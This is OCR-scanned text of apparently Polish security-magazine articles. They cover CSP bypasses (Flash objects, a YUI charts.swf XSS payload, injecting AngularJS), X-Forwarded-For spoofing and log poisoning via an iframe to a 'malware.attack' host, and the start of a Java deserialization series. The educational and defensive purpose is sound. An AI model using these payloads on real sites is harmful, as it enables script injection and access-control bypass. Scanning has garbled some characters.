darkach (FF/Safari/IE/Edge), z wyjatkiem Chrome. W przypadku przegladarki Go-
ogle, w znaczniku <script> nie mozna odnies¢ sie do zasobu, ktory jest zwracany
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znagtowkiem Content-Type obrazka (np. image/gif) - w takiej sytuacji, przegla-
darka nie zataduje podejrzanego skryptu i wygeneruje ostrzezenie w konsoli:

Refused to execute script from 'http://localhost/public/csp/download.
php?id=0123456789abcdef' because its MIME type ('image/gif') is not executable.

W ramach ataku, nie mozemy odwota¢ sie do ztosliwego pliku uploads/csp-bypass.gif,
poniewaz przy takim rozszerzeniu serwery WWW automatycznie dodadza odpo-
wiedni typ MIME (image/gif) do odpowiedzi HTTP. Mimo to, mechanizm bloko-
wania ,skryptéw” w Chrome mozna tatwo oszukac.

Okazuje sig, ze zabezpieczenia dotyczace tadowania skryptéw z odpowiednim
typem MIME nie dotycza typdw: text/html, text/plain, application/xml,
application/javascript,application/json.. ikilkuinnych (np.typéw mul-
timedialnych z wyjatkiem image/*). Obejscie blokady polega na dodaniu skryptu
z rozszerzeniem np. filmu, dokumentu PDF, lub fontu. Po odwotaniu sie w paylo-
adzie do tak spreparowanego pliku, zobaczymy wykonanie kodu JavaScript w Go-
ogle Chrome - tak samo, jak w innych przegladarkach.

ATAK7. WYKORZYSTANIE FLASHA
Istnieje jeszcze jedna metoda omijania polityki CSP przez funkcje uploadu pli-

kow. W przypadku, gdy:

» domyslna polityka (ustawiong przez dyrektywe default-src dopuszcza host,
z ktérego mozemy $ciggac dodane pliki,

» serwis zabrania dodawania plikow o niebezpiecznych rozszerzeniach (HTML, JS,
SVG...),

» nie zostata okreslona dyrektywa object-src,

mozemy zaatakowac serwis, wgrywajac plik SWF, ktéry wykona kod JavaScript.
Skrypt uruchomiony przez dokument Flash nie bedzie blokowany przez mecha-
nizm Content Security Policy. Aby w taki sposdb wykonac XSS-a, musimy wgrac na
serwer ztosliwy aplet Flash i odwotac sie do niego w miejscu wstrzykniecia:

<object type='application/x-shockwave-flash' data='http://example.com/downloads/
xss.swf'></object>

Gdy aplikacja zabroni dodawania plikdw z rozszerzeniem swf, mozemy uzy¢ dowol-
nego innego rozszerzenia w nazwie pliku (lub nawet wgrac plik bez rozszerzenia):

<object type='application/x-shockwave-flash' data='http://example.com/downloads/
Xss.jpg></object>

XSS omijajacy CSP, mozemy takze wykonac wistniejagcym juz pliku SWF — np. poprzez
ataki Cross-Site Flashing. Ponizej podaje przyktad wykonania XSS-a przez aplet
Flash, w popularnej bibliotece (tutaj hostowana jest w CDN Google'a, ale moze znaj-
dowac sie rowniez w domenie atakowanej aplikacji):

https://ajax.googleapis.com/ajax/1libs/yui/2.8.0r4/build/charts/assets/charts.
swf?allowedDomain=\"})))}catch(e) {alert(/XSS/)}//

ATAK 8. WYKORZYSTANIE ANGULARA

Agresor znajacy JavaScriptowy framework Angular)S (lub podobne rozwiaza-
nia), moze sprébowac¢ oming¢ zabezpieczenia CSP, wstrzykujac wyrazenia - czyli
Expressions. Sg to elementy frameworku do budowania szablonu strony, wywo-
tywane przez zapis {{expression}}. Framework zamienia taki zapis w drzewie
DOM na wynik obliczen; wowczas {{4-1}} jest wyswietlane na stronie jako 3.

Gdy framework w stylu Angulara dziata na stronie, oznacza to, ze jego wyrazenia nie
sg blokowane, w zwiagzku z tym — wstrzykujac je do kodu, mozemy oming¢ restrykcje CSP,
jednak bedziemy ograniczeni logika i mechanizmami samego frameworku. Wykonanie
dowolnego kodu JavaScript za pomocga Expressions, moze by¢ nie lada wyzwaniem,
jednak pamietajmy, ze frameworki rowniez posiadajag swoje btedy bezpieczenstwa.

A co, jesli strona nie korzysta z Angulara? Nic nie stoi na przeszkodzie, aby te
biblioteke wstrzyknac (w dowolnej wersji — najlepiej dziurawej), w szczegdlnosci, ze
domeny CDN z bibliotekami JS, sg czesto oznaczone w CSP jako zaufane:

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.0/angular.min.
js”></script>

Powyzszy zapis spowoduje wtaczenie mechanizmoéw Angular)S na stronie, dzieki
czemu bedziemy mogli omijac restrykcje CSP przy pomocy wyrazen.

PODSUMOWANIE

W niniejszym artykule chciatem zwréci¢ uwage na fakt, ze mimo stosowania re-
strykcyjnych zabezpieczen, CSP nie rozwigzuje wszystkich problemoéw bezpieczen-
stwa serwiséw webowych. Btedne kodowanie znakéw, prowadzace do wstrzyknie-
cia kodu HTML, jest bardzo powaznym zagrozeniem po stronie serwera, ktorego
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nie da sie wyeliminowac po stronie przegladarki. W takim wypadku, odpowiednie

zonglowanie tagami oraz atrybutami HTML przez atakujacego, moze doprowadzic¢

do ominiecia restrykcji Content Security Policy.
Im bardziej rozluznione zasady, tym wiekszy arsenat narzedzi znajduje sie w re-
kach atakujacego, ktory zyskuje wowczas szerokie pole dziatania, m.in.:

» moze doprowadzi¢ do odmowy dostepu do ustugi (Denial of Service) — zmie-
niajac wyglad strony w taki sposdb, aby uzytkownicy nie mogli z niej korzystag,

» przeprowadzi¢ atak phishingowy - wyrdzniajac pewne elementy na stronie, za-
checajac do wykonywania konkretnych akgji, lub przekierowujac uzytkownikow
do niebezpiecznych witryn,

» uzyskac efekt ,przejecia strony” (,deface”) — wyswietlajgc odpowiednio przygo-
towana grafike SVG wszystkim uzytkownikom strony, co nadszarpnie wizerunek
wiasciciela strony,

» pozyskac fragment kodu HTML - z pomocg HTMLS5 Link Prefetching, moze zdo-
byc tokeny uzytkownika i przeprowadzi¢ inne ataki (np. CSRF),

» wykonac¢ kod JavaScript wykradajacy wrazliwe dane uzytkownika — positkujac
sie uploadem plikéw, apletami Flash, lub mechanizmem Expression framewor-
kow JavaScriptowych.

Nie oznacza to, ze powinnismy unika¢ Content Security Policy - jest to jedna z naj-
lepszych technik dogtebnej ochrony. Dodatkowa warstwa zabezpieczen skutecznie
utrudnia atak: zwieksza jego koszt oraz minimalizuje skutki.

ZALECENIA
Aby unikna¢ problemoéw i realnie podnies¢ bezpieczenstwo serwisu, podczas

wdrozen CSP sugeruje uwzgledni¢ ponizsze zalecenia:

» wprowadzaj CSP do nowo rozwijanych oraz juz wdrozonych projektéw,

» zawsze zaczynaj tworzenie polityki od dyrektywy default-src (najlepiej z war-
toscig 'none’ lub 'self"'),

» nie stosuj niebezpiecznych zZrédet, takich jak unsafe-inline/unsafe-eval
(w szczegolnosci w script-src) - gdy nie mozesz usunac elementdw inline, za-
wsze mozesz skorzysta¢ z mechanizmu CSP Inline Hash lub CSP Nonce (patrz tutaj),

» unikaj,optymalizowania” dtugosci nagtéwka CSP (rozbudowane default-src,
mato dyrektyw, stosowanie *),

» jawniedefiniujdyrektywybezprzyrostka* -srcwnazwie(np.frame-ancestors);

» unikaj dodawania hostow, ktére nie sg pod Twoja kontrolg (gdy musisz juz to
zrobi¢ - np. dodajac zaséb z sieci CDN - podaj jego cafq Sciezke, a nie tylko host),

» uzywaj trybu raportowania CSP - dzieki temu, bedziesz wiedziat o probach omi-
niecia CSP i wykorzystania luk,

» obserwujrozwadjCSPijego wsparcie w przegladarkach (CSP 3 powoli nadchodzi).

Pamietaj o przetestowaniu wprowadzonych dyrektyw, uzyskujac potwierdzenie, ze
polityki dziataja prawidtowo. Literéwki, takie jak np. btedny zapis dyrektywy z dwu-
kropkiem (script-src: 'none') moga znacznie obnizy¢ skutecznos¢ CSP.

MATERIALY DODATKOWE I ZRODEA

» Wszystko o CSP 2.0 - Content Security Policy jako uniwersalny straznik bezpie-
czenstwa aplikacji webowej — moj poprzedni artykut, ktory doktadnie opisuje
czym jest CSP oraz jakie sg wersje tego standardu

» https://www.w3.0org/TR/resource-hints/ — specyfikacja W3C dotyczaca wtasci-
wosci elementu

» https://css-tricks.com/prefetching-preloading-prebrowsing/ — wyjasnienie me-
chanizmu prefetch/preloading/prebrowsing

Adrian 'Vizzdoom' Michalczyk. Interdyscyplinarny bezpiecznik i geek.
Zakochany w dobrej fabule, roleplay’u i fotografii...
Strona domowa autora: http://adrian.michalczyk.website/
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Nie ufaj X-Forwarded-For

Nagltéwek protokotu HTTP: X-Forwarded-For (XFF) pierwotnie zostat
przedstawiony przez zesp6t developeréw odpowiedzialnych za rozwi-
janie serwera Squid, jako metoda identyfikacji oryginalnego adresu IP
klienta tgczacego sie do serwera web, poprzez inny serwer proxy lub
load balancer. Bez uzycia XFF lub innej, podobnej techniki, dowolne po-
1gczenie za poSrednictwem proxy, pozostawitoby jedynie adres IP pocho-
dzacy z samego serwera proxy zamieniajac go w ustuge anonimizujgca
klientéw. W ten spos6b, wykrywanie i zapobieganie nieautoryzowanym
dostepom, statoby sie znacznie trudniejsze niz w przypadku przekazy-
wania informacji o adresie IP, z ktérego przyszlo zgdanie. Przydatnosé
X-Forwarded-For zalezy od serwera proxy, ktéry zgodnie z rzeczywisto-
Scig, powinien przekazac adres IP taczacego sie z nim klienta. Z tego po-
wodu, serwery bedace za serwerami proxy musza wiedzie¢, ktére z nich
sa ,godne zaufania”. Niestety, czasami nawet i to nie wystarczy. Posta-
ram sie przedstawic, dlaczego nie powinni$my na $lepo ufa¢ wartosciom
pochodzacym z tego nagtéwka.

Ponizej znajduje sie przyktadowa konfiguracja, na ktérej bedziemy przeprowadzac testy:

Rysunek 1 Konfiguracja testowa

Uktad jest dos¢ popularny i spotykany w Internecie. Na froncie znajduje sie serwer
nginx petnigcy role proxy / load balancera (zamiennikiem moze by¢ Haproxy lub
Varnish) dla serwera Apache, ktéry moze obstugiwa¢ dowolng aplikacje w jezyku
PHP. Réwnie dobrze, znajdowac sie tutaj moze czysta aplikacja nastuchujaca na do-
wolnym porcie. Konfiguracja serwera nginx przedstawia sie nastepujaco:

Rysunek 2 Konfiguracja serwera nginx

W serwerze Apache, oprécz standardowych dyrektyw, rédwniez nie zostato wiele
zmienione. Aktywowany zostat tylko modut obstugujacy nadpisanie adresu IP klien-
ta, ktéry bedzie przekazywany przez nasze proxy:

Rysunek 3 Konfiguracja serwera Apache

TESTY
1. Fingerprinting backendu i nie tylko

Zatézmy, ze nasz serwer proxy skutecznie usuwa wszystkie nagtéwki typu:
Server, X-Powered-by, Viaitp., starajac sie w ten sposéb ukry¢ tozsamos¢ swo-
jego backendu. W jaki spos6b mozemy wykorzysta¢ nagtéwek X-Forwarded-For do
ujawnienia sie ,ukrytego” serwera? Musimy wywotac nieoczekiwany btad. Najszyb-
ciej wykonamy to, przekraczajac dopuszczalng wielko$¢ nagtéwka (bardzo wiele
stron btedow typu 404, 403 jest personalizowanych, ale najrzadziej spotykane kody
bteddw, najczesciej zostajg w standardowej wersji):
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Listing 1. Wywotanie btedu

curl -v -XGET --header 'X-Forwarded-For: %E2%82%ACKE2%82%ACKE2%82%ACKE2. .. '
http://ip.proxy.lub.domena

Znaki ,%E2%82%AC%E2%82%AC%" (mozemy tutaj zastosowaé dowolne inne wy-
petnienie np.,X") powtarzatem tak dtugo, az osiggnety w przedstawionym wypadku
réwne 8159 bajtow. Przy tej dlugosci, oprécz innych wartosci nagtowka, nie prze-
kroczytem jeszcze 8K', czyli limitu wielkosci dla naszych serwerow (kazdy serwer
posiada swoj wiasny limit — akurat te wersje Apache i nginx maja identyczny). Wyko-
nujac takie zadanie za pomoca programu curl, w logach naszych serweréw mozemy
zobaczyc:

Listing 2. Logi serwera po powtarzaniu dowolnych znakéw

Proxy:

192.168.111.1 - - [24/0ct/2016:20:31:51 +0200] "GET / HTTP/1.1" 200 © "-"
"curl/7.43.0"

Backend:

192.168.111.3 192.168.111.1 - - [24/0ct/2016:20:31:51 +0200] "GET / HTTP/1.0" 200
244 "-" "curl/7.43.0"

Adres: 202.205.111.1 jest adresem IP mojego klienta. Wystarczyto jednak dodac¢ ko-
lejny bajt (8160), aby zaobserwowac ciekawe zjawisko:

Listing 3. Logi serwera po dodaniu kolejnego bajtu

Proxy:

202.205.111.1 - - [24/0ct/2016:20:33:31 +0200] "GET / HTTP/1.1" 400 389 "-"
"curl/7.43.0"

Backend:

192.168.111.3 192.168.111.3 - - [24/0ct/2016:20:33:31 +0200] "GET / HTTP/1.0" 400
@ "om w_m

HTTP/1.1 400 Bad Request

Server: nginx/1.10.0 (Ubuntu)

Date: Mon, 24 Oct 2016 18:33:31 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 389

Connection: keep-alive

AANAAANAANANAN

<

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>400 Bad Request</title>

</head><body>

1 https://github.com/koajs/koa/issues/479

<hl>Bad Request</h1>

<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.<br />

<pre>

X-Forwarded-For

</pre>

</p>

<hr>

<address>Apache/2.4.18 (Ubuntu) Server at 192.168.111.2 Port 80</address>
</body></html>

Serwer backendu sam zdradzit nam swojg tozsamos¢, zaliczajac wraz z proxy
wspolny btad 400. Warto réwniez zainteresowac sie $sladem - a raczej jego bra-
kiem — w przypadku dziennika dla serwera Apache. Dwa razy wystepuje adres IP
serwera proxy — brak jednoznacznej identyfikacji klienta. Gdyby na serwerze proxy,
ze wzgledoéw wydajnosciowych zostato wytaczone logowanie ruchu HTTP - tozsa-
mos¢ klienta powodujacego btedy, pozostaje dla nas zagadka. W celu unikniecia
takiej sytuacji, wystarczy ustawi¢ mniejszy limit? wielkosci nagtéwkow na serwerze
proxy, aby zadanie powodujace btagd 400 w ogdle nie dotarto do drugiego serwera.

2. ZBYT SZEROKI ZAKRES SIECIOWY

Modut remoteip® powoduje, ze w przypadku formatu logéw jestesmy w sta-
nie wykorzysta¢ zmienng % a, aby logowac adres IP klienta w dowolnej kolejno-
$ci. Daje nam réwniez mozliwos¢ wykorzystania wartosci nagtéwka z ustawienia
RemoteIPHeader, do uwierzytelniania za pomocg metody Requireip. Natézmy
na sciezke /var/www/html ograniczenia, dopuszczajac jeden, wybrany adres IP:

Rysunek 4 Konfiguracja serwera Apache — dopuszczenie jednego adresu IP

2 http://nginx.org/en/docs/http/ngx_http_core_module.htmli#large_client_header_buffers
3 http://httpd.apache.org/docs/trunk/mod/mod_remoteip.html
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Jesli dobrze przypatrzymy sie poczatkowej konfiguracji serwera Apache (Rysunek 3),
zauwazymy, ze opcja RemoteIPInternalProxy zostata ustawiona na maske siecio-
wa /24, a nie konkretny adres, lub adresy zaufanych serweréw proxy. W przypadku,
gdyby doszto do przetamania zabezpieczen sieci innym kanatem i atakujacy przejat-
by sasiadujacy serwer, ktérego adres sieciowy zawiera sie w zakresie 192.168.111.1-
254, to zyskuje on witasnie zaufany adres, ktéry moze podsuna¢ serwerowi Apache
fatszywe adresy IP klienta, w celu przedostania sie do chronionego zasobu:

Rysunek 5. Konfiguracja serwera Apache — podstawienie fatszywych adresow IP

Nie musimy nawet uruchamia¢ dedykowanego serwera proxy. Zwykty curl z na-
gtowkiem o odpowiedniej zawartosci, powinien potwierdzi¢ naszg teorie:

Listing 4. Curl z nagtéwkiem

curl -v -XGET http://192.168.111.2 -H 'X-Forwarded-For: 202.205.111.5"'
Rebuilt URL to: http://192.168.111.2/

Trying 192.168.111.2...

Connected to 192.168.111.2 (192.168.111.2) port 80 (#9)

GET / HTTP/1.1

Host: 192.168.111.2

User-Agent: curl/7.43.0

Accept: */*

X-Forwarded-For: 192.168.111.2

HTTP/1.1 200 OK

Date: Thu, 27 Oct 2016 17:08:55 GMT

Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Sun, 23 Oct 2016 21:46:07 GMT
ETag: "@-53f8f33e3eb56"

AANAANAANANANAYNV V VVVV X % %

< Accept-Ranges: bytes

< Content-Length: @

< Content-Type: text/html
<

*

Connection #0@ to host 192.168.111.2 left intact

Wskazujac zaufane proxy, zawsze powinnismy definiowac ich konkretne adresy bez
pozostawiania marginesu na przewidywanie, ze w przyszto$ci moze sie cos sie zmie-
ni, wiec juz lepiej to uwzgledni¢ w konfiguracji.

3. SPOOFING I ZATRUWANIE PARSEROW LOGOW

Zbadajmy jeszcze doktadnie konfiguracje serwera nginx, a doktadniej méwiac
opcje: $proxy_add_x_forwarded_for. Zgodnie z dokumentacja, jesli serwer
proxy otrzyma od klienta w zadaniu nagtéwek X-Forwarded-For z wczesniej zde-
finiowang wartoscia, to do serwera backend zostanie przekazana wartos¢ nagtéwka
klienta plus to, co doda serwer proxy — czyli adres ip klienta (tutaj wartos¢ $re-
mote_addr). Zatem - jesli klient przesle wartos¢ X, proxy doda Y, backend otrzyma
obydwie wartosci oddzielone przecinkiem: X-Forwarded-For: X, Y.W przypad-
ku, gdyby zadanie przechodzito przez dwa serwery proxy, posta¢ nagtéwka bedzie
miata postaé: X-Forwarded-For: klient, proxyl, proxy2, gdzie proxy2 jest
traktowane jako zdalny adres zgdania. Konfiguracja ta jest btedna z jednego proste-
go powodu. Nasze proxy jest pierwsze na styku z Internetem, wiec nie ma zadnej
potrzeby, abysmy doklejali wartosci zdefiniowane przez uzytkownika lub inne ser-
wery proxy. Czym to grozi? Po pierwsze: kto powiedziat, ze klient musi przesytac ad-
res IP? Zat6zmy, ze nasz serwer w backendzie jest prosta aplikacja, bez modutu typu
remoteip (czyli przyjmuje i loguje surowe dane, w tym wartosci nagtéwka XFF), lub
administrator konfigurujacy serwer Apache - nie bedac $wiadom, po prostu ustawit
format logéw wedtug wzoru:

Listing 5. Wz6r formatu logow

LogFormat "%{X-Forwarded-For}i %1 %u %t \"%r\" %>s %0 \"%{Referer}i\" \"%{User-
Agent}i\"" combined

Logi sg zazwyczaj sg archiwizowane, a przed tym — analizowane przez rézne sys-
temy statystyczne. Wiekszos¢ z nich posiada interfejsy webowe, ktére prezentuja
uzytkownikowi wyniki. Jesli wiec atakujgcy wysle do naszego proxy zadanie typu:
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Listing 6. Zadanie wystane przez atakujacego

curl -v -XGET --header 'X-Forwarded-For: <iframe src=//malware.attack> ' http://
ip.proxy.lub.domena

Pojawi sie ono w pliku access_log, jako:
Listing 7. Wynik zadania z Listingu 6

<iframe src=//malware.attack>, 202.205.111.1 - - [27/0ct/2016:21:57:11 +0200]
"GET / HTTP/1.0" 403 468 "-" "curl/7.43.0"

Jezeli system do analizy logéw nie bedzie poprawnie weryfikowat i filtrowat nie-
bezpiecznych danych, to uzytkownik, wraz z odczytaniem raportu, zataduje sobie
w ramce* szkodliwe oprogramowanie. To samo tyczy sie obchodzenia uwierzy-
telniania, operujac tylko na czystej wartosci tego nagtéwka, czy to w serwerach
WWWs5, czy aplikacjach internetowych®. Klient docierajagcy do serwera backend
z wiasna listg adreséw IP, ktéra brana jest pod uwage w procesie autoryzacji, bez
problemu moze sfatszowac i oszukac¢ ten proces. Naprawa tego btedu, jest zasta-
pienie $proxy_add_x_forwarded_for przez $remote_addr, co spowoduje, ze
nasze proxy bedzie przekazywato tylko i wyfacznie adres IP klienta, nie zwracajac
uwagi na poprzednie wartosci.

PODSUMOWANIE

Nagtéwek X-Forwarded-For zostat zaprojektowany, aby identyfikowa¢ klientow
komunikujacych sie z serwerami umieszczonymi za proxy. Skoro serwery proxy sg
,0czami” takich serweréw, nie powinny pozwala¢ na zakrzywione postrzeganie
rzeczywistosci. Klient nie powinien decydowa¢, co powinno by¢ zawarte w tym na-
gtéwku, a chroniony serwer nie powinien slepo ufac tej zawartosci. Maszyny posred-
niczace musza kazdorazowo sprawdzac istnienie takiego nagtéwka i usuwac oraz
tworzyc¢, lub nadpisywac jego zawartos¢ wtasnymi regutami, przed przekazaniem za-
dania dalej. Jesli musimy wprowadzi¢ mechanizm kontroli dostepu oparty o adresy
IP, postarajmy sie aby zostat on umieszczony bezposrednio na linii styku z klientem.

4 https://pl.wikipedia.org/wiki/lframe
5 https://shubs.io/enumerating-ips-in-x-forwarded-headers-to-bypass-403-restrictions/
6 http://blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html

Af Wiecej informacji

» phpBBdo 2.0.8a Header Handler X-Forwarded-For spoofing
» Proxies & IP Spoofing
» X-Forwarded-For, proxies, and IPS

Patryk Krawaczynski — za dnia inzynier systeméw z 7+ letnim
doswiadczeniem w zakresie ustug hostingowych. Lubi skupia¢ sie na
rozwigzywaniu probleméw oraz poprawianiu wydajnosci technologii
frontendowych i backendowych. Noca autor NFsec.pl.
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Java vs deserializacja niezaufanych
danych. Czes¢ 1: podstawy

Deserializacja niezaufanych danych pochodzacych od uzytkownika wie-
kszosci developeréw nie powinna wydawac sie problematyczna. Dlacze-
go miataby byé? W konicu co najwyzej serwer dostanie dane, ktére po
zdeserializowaniu stworzg obiekt inny od oczekiwanego, co spowoduje
btad aplikacji i przerwanie wykonania.

Czytelnicy Sekuraka zdajg sobie jednak sprawe z faktu, ze pozornie niegrozny btad

w rzeczywistosci moze prowadzi¢ do bardzo groznych konsekwencji. Ostatnio mieli-

$my mozliwos¢ przeczytania swietnych artykutéw o problemach zdeserializacjg w PHP

oraz Pythonie — numerach 2 i 3 na liscie najpopularniejszych jezykow programowania.
Mozna tu zadac sobie pytanie — co z numerem 17 Czy Java rowniez jest podatna

na tego rodzaju problemy? Jak mozna je wyexploitowac? Jak sie przed nimi bronic?
Odpowiedzi na te pytania dostarczy niniejsza seria artykutow.

Ten artykul jest pierwszym w trzyczesciowej serii. Odpowiemy w niej na pytanie, czy Java
jest podatna na btedy deserializacji (spoiler alert: owszem :-)), i poznamy podstawowe wek-
tory ataku. W drugiej czesci zaprezentowane zostang bardziej nietypowe ataki, niekoniecz-
nie wynikajace z uzywania natywnej serializacji. W czesci trzeciej zastanowimy sie, w jaki
spos6b mozna broni¢ sie przed podatnoSciami deserializacji niezaufanych danych.

W niniejszym artykule zajmiemy sie problemem stricte z punktu widzenia Javy. Nie bedzie-
my zatem omawiaé podstaw problemoéw z deserializacja. Odsytam do wyzej wspomnianych
artykutéw o PHP i Pythonie - mimo ze jezyk programowania jest inny, zasada dziatania ta
sama. Dodatkowo zakladam, ze Czytelnik zna podstawy Javy, w szczegélnoSci jest mniej
wiecej obeznany z tym, czym jest deserializacja, i jak z grubsza dziata w Javie.

Kod zrodtowy uzyty w niniejszym artykule (za wyjatkiem kodu klas z JRE i bibliotek) jest
publicznie dostepny.

PODSTAWY -TEORIA

Zanim przejdziemy do praktyki, sprébujmy sobie przypomnie¢ odrobine teorii.
Zeby odpowiedzie¢ na pytanie, czy w Javie mamy mozliwo$¢ wykorzystania nieuwie-
rzytelnionej deserializacji, musimy wiedzie¢, jakie warunki trzeba spetni¢. A wiec:

1. Jezyk programowania musi umozliwiac serializacje i deserializacje danych.

2. Deserializacja musi odbywac sie w niebezpieczny sposob, to znaczy: najpierw
tworzymy obiekt, a dopiero potem (!) weryfikujemy, czy typ obiektu zgadza sie
z typem oczekiwanym (alternatywnie: w ogdle nie weryfikujemy typu obiektu).

3. Deserializacja obiektu musi umozliwia¢ nam automatyczne wywotanie pewnych
metod na obiekcie (sposdb, w jaki to sie dzieje, zalezy od jezyka programowania).

4. Musimy znalez¢ odpowiednie klasy obiektow, ktore posiadajg wyzej wspomnia-
ne metody i robig w nich cos ,interesujacego”. Co wiecej, klasy te musza by¢,do-
stepne” (Doktadniejsze definicje przymiotnikéw ,interesujacy”i,dostepny” przed-
stawie za chwile).

5. Program musi umozliwia¢ odebranie i deserializacje obiektu od uzytkownika.

Mysle, ze kazdy z powyzszych pieciu punktéw jest zrozumiaty (jesli nie — raz jeszcze
polecam artykuty o problemach z deserializacjg w PHP i/lub Pythonie, ktére powin-
ny wszystko wyjasnic). Jak wiec maja sie powyzsze zatozenia w kontekscie Javy?

1. Mechanizm serializacji / deserializacji

Punkt pierwszy jest w oczywisty sposdb spetniony. Dzieki interfejsowi Seri-
alizable oraz klasie ObjectInputStream mozemy w prosty sposéb zapisywac
i odczytywac obiekty i — co jest istotne — funkcjonalnosc ta jest dostepna w kazdym
Javowym programie (tzn. jest czescia jezyka Java).

2. Niebezpieczna deserializacja

Réwniez ten punkt w Javie jest spetniony. Niektérzy w tym momencie moga argu-
mentowac, ze nie jest to prawda — w koncu, jesli dostarczymy do deserializacji obiekt,
ktory jest inny niz wymagany przez program, dostaniemy w rezultacie wyjatek Class -
CastException, prawda? Otéz prawda, ale zauwazmy jedna bardzo istotng rzecz:
wyjatek ten zostanie rzucony po stworzeniu obiektu. Dalszy przebieg programu zo-
stanie przerwany, ale z punktu widzenia exploitacji jest to catkowicie nieistotne. Obiekt
zostat stworzony w pamieci, wiec w momencie wystapienia wyjatku jest juz za pozno.

3. Automatyczne wykonanie metod

Takze ten punkt mozemy odhaczy¢ na naszej liscie. Co prawda Java jest jezy-
kiem silnie typowanym (co oznacza ze nawet jesli klasy ExpectedObject oraz
EvilObject maja te samg metode: someMethod( ), nie mozemy ich miedzy soba
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podmienic, gdyz nie zgodzi sie typ), ale na (nie)szczescie dostarcza nam metod, kto-
re sg wywotywane zawsze w momencie deserializacji - konkretnie, jesli dana klasa
implementuje na przykfad metode readObject (), metoda ta zostanie wywotana
zawsze podczas jego deserializacji.

4. Klasy ,Interesujqce” i ,,Dostepne”

Tutaj sprawa sie lekko komplikuje. Po pierwsze, zdefiniujmy co znaczy ,dostep-
ny” W przypadku PHP klasa jest dostepna, jesli na przyktad zostata zdefiniowana
w tym samym pliku lub zostata dofaczona, na przyktad funkcjami require()/inclu-
de(). W Javie sprawa wyglada tylko troche inaczej - nasza klasa bedzie dostepna,
jesli (w uproszczeniu) znajduje sie na zmiennej CLASSPATH.

Co natomiast znaczy ,interesujacy”? Z punktu widzenia exploitacji: interesujace
klasy to takie, ktére wykonuja kod przynoszacy zysk atakujagcemu. W tej czesci ar-
tykutu skupimy sie na najgrozniejszej opcji — klasach umozliwiajacych wykonanie
dowolnych komend systemowych (RCE). Nalezy jednak pamieta¢, ze istniejg inne
mozliwosci (wiecej o tym w czesci drugiej artykutu).

5. Program deserializuje dane od uzytkownika

To w oczywisty sposob zalezy od konkretnej aplikacji. Nalezy jednak pamietac,
ze nawet jesli nasz kod nie uzywa serializacji wprost, nie mozemy wykluczy¢, ze kto-
rys z uzywanych frameworkoéw lub bibliotek na niej nie polega.

PODATNOSC DESERIALIZACJI W JEZYKU JAVA

W porzadku. Jak wida¢, punkty 1-3 sa automatycznie spetnione w kazdej Javo-
wej aplikacji. Punkt 5 zalezy mocno od konkretnej aplikacji, a wiec nie bedziemy sie
na nim (przynajmniej na razie) skupia¢. Zastanowmy sie zatem - jak jest z zatoze-
niem nr 4? Ot6z, potrzebujemy gadzetéw.

Gadzety sa to fragmenty kodu aplikacji, ktore z zasady sa niegrozne i w normalnym przebie-
gu programu wykonujg bezpieczny kod wedlug zamierzenia programisty.

Atakujacy jednak ma mozliwo$¢ odpowiedniego potaczenia gadzetéw w tak zwany tan-
cuch, ktéry uzyje je wbrew ich oryginalnemu przeznaczeniu. Gadzety wystepuja na przy-
ktad w tzw. ROP (Return-Oriented Programming) i stuzg exploitacji btedéw pamieciowych
—-w tym kontekscie, gadzetami sg odpowiednio dobrane instrukcje assemblera. W naszym
artykule, gadzetem beda odpowiednie klasy Javy, ktére po ztgczeniu w odpowiednig hierar-
chie dadza atakujgcemu mozliwo$¢ wykonania niebezpiecznego kodu.

Idealnie bytoby, gdybysmy znaleZli zbiér gadzetéw, ktéry umozliwi nam wykonanie
dowolnego kodu przy uzyciu klas dostepnych (jedynie) w JRE. Niestety (na szcze-
$cie?), do tej pory nikt nie byt w stanie przedstawic takiego rozwigzania (to nie do
konca prawda — pod koniec artykutu wspomne o tym jeszcze raz).

Czy to znaczy, ze gra skonczona, a Java jest catkowicie bezpieczna?

Ot6z nie. Kazdy kto miat do czynienia z dowolnym wiekszym programem Javo-
wym wie, ze praktycznie nie zdarza sie, zeby aplikacja uzywata tylko i wytacznie klas
z JRE. W rzeczywistosci wiekszo$¢ komercyjnych (i nie tylko) programéw korzysta
zduzej liczby bibliotek. Moze wiec jedna z nich dostarczy nam ciekawych gadzetéw?

Warte zauwazenia jest, ze takie podejscie to dla atakujacego miecz obosieczny: z jednej
strony, dzieki wlaczeniu w rozwazania dodatkowych bibliotek uzyskujemy nowe potencjal-
ne gadzety. Z drugiej strony, ograniczamy sie do exploitacji tylko tych programéw, ktére
uzywaja tych bibliotek. Z punktu widzenia atakujacego, interesujace bedzie wiec znalezienie
gadzetéw obecnych w bibliotekach, ktore sa jak najszerzej uzywane.

Pozwolmy sobie na chwile przerwy od czesci technicznej.

Btedy deserializacji w Javie nie sg nowoscig — w rzeczywistosci, juz w 2006 roku
pokazano pierwsze problemy z nig zwigzane. Przez dtugi czas jednak byty one igno-
rowane i dopiero pod koniec zesztego roku zrobito sie o nich gtosno. Wielka ironig
jest fakt, ze zrobito sie o nich gtosno ponad dziewie¢ miesiecy po wyjsciu na jaw.

Konkretnie, na poczatku roku 2015, Chris Frohoff (@frohoff) oraz Gabriel Law-
rence (@gebl) w ramach AppSecCali przedstawili prezentacje o problemach z de-
serializacjg w réznych jezykach programowania i technologiach. Przy tej okazji, mi-
mochodem wrecz wspomnieli o odnalezieniu gadzetéw obecnych tylko w JRE oraz
bibliotece Apache commons-collections.

Wyglada powaznie, nieprawdaz? Co na to $wiat technologiczny? Ot6z - nic.
@frohoff i @gebl nie wymyslili atrakcyjnej nazwy dla swojej podatnosci. Nie przed-
stawili kolorowego logo. Nie stworzyli dedykowanej strony internetowej. Zostali
wiec catkowicie zignorowani przez prawie wszystkich (po czasie, ich odkrycie zo-
stato okrzykniete jako ,The most underrated, underhyped vulnerability of 2015”, co
duzo mowi o catej sprawie). Na szczescie, kto$ sie zainteresowat — dziewie¢ miesie-
cy p6zniej badacze z firmy FoxGlove Security, bazujgc na tym fancuchu gadzetéw,
odnalezli podatnosci w pieciu réznych, szeroko uzywanych produktach (w péz-
niejszym terminie ta lista mocno sie wydtuzyta). Btedy deserializacji w Javie trafity
w koncu na pierwsze strony.
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Za chwile przedstawie kompletny opis znalezionego przez panéw @frohoff
